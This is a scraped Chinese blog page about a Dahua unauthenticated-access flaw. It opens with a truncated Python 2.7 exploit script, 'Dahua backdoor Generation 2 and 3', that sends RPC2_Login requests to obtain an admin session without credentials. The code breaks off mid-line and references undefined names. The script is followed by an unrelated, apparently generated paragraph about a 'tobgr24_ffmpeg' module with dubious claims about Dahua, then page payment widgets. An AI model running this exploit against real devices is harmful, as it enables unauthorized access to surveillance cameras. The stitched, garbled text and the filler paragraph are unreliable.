大华mysql异常_大华未授权访问漏洞exp | CN-SEC 中文网

#!/usr/bin/python2.7 # # Dahua backdoor Generation 2 and 3 # Author: bashis March 2017 # # Credentials: No credentials needed (Anonymous) #Jacked from git history # import string import sys import socket import argparse import urllib, urllib2, httplib import base64 import ssl import json import commentjson # pip install commentjson import hashlib class HTTPconnect: def __init__(self, host, proto, verbose, creds, Raw, noexploit): self.host = host self.proto = proto self.verbose = verbose self.credentials = creds self.Raw = Raw self.noexploit = False self.noexploit = noexploit def Send(self, uri, query_headers, query_data,ID): self.uri = uri self.query_headers = query_headers self.query_data = query_data self.ID = ID # Connect-timeout in seconds timeout = 5 socket.setdefaulttimeout(timeout) url = '%s://%s%s' % (self.proto, self.host, self.uri) if self.verbose: print "[Verbose] Sending:", url if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): print "[i] Creating SSL Unverified Context" ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: print "[!] Basic Auth Error:",e sys.exit(1) if self.noexploit and not self.verbose: print "[] Requesting our session ID" query_args = {"method":"global.login", "params":{ "userName":ADMIN, "password":"", "clientType":"Web3.0"}, "id":10000} URI = '/RPC2_Login' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw,self.noexploit).Send(URI,headers,query_args,None) json_obj = json.load(response) if self.verbose: print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': ')) # # Login 2 # print "[>] Logging in" query_args = {"method":"global.login", "session":json_obj['

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
大华是一家中国的知名企业,主要从事电子信息产品的研发、生产和销售。该公司成立于1988年,总部位于深圳市,现已发展成为世界领先的供应商之一。作为一家专注于安防产品的公司,大华采用了多种先进技术,包括视频监控、网络通信、人工智能等领域。 其中,tobgr24_ffmpeg是一个在大华的ffmpeg库中的一个功能模块,用于将视频帧从其他颜色空间转换为BGR24格式。BGR24格式是一种24位彩色空间表示方式,每个像素由红、绿、蓝三个分量组成,每个分量占用8位。 大华的ffmpeg库是一种多媒体处理框架,旨在提供视频和音频编码、解码和转换等功能。tobgr24_ffmpeg模块是该库中的一个具体实现,通过它可以实现将不同颜色空间的视频帧转换为BGR24格式,以供后续的处理和分析。 通过使用tobgr24_ffmpeg,用户可以方便地将其他格式的视频帧转换为BGR24格式,以满足特定的需求。无论是进行图像处理、视频编辑还是人工智能分析,都可以借助这个功能模块进行颜色空间的转换。这对于提高图像质量、改善视觉效果以及优化后续处理的效果都具有重要意义。 总之,大华的tobgr24_ffmpeg模块是该公司ffmpeg库中的一个重要组成部分,用于将不同颜色空间的视频帧转换为BGR24格式,为后续的处理和分析提供便利。在多媒体处理和图像分析领域,它具有广泛的应用价值,有助于提升视频处理的效果和质量。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值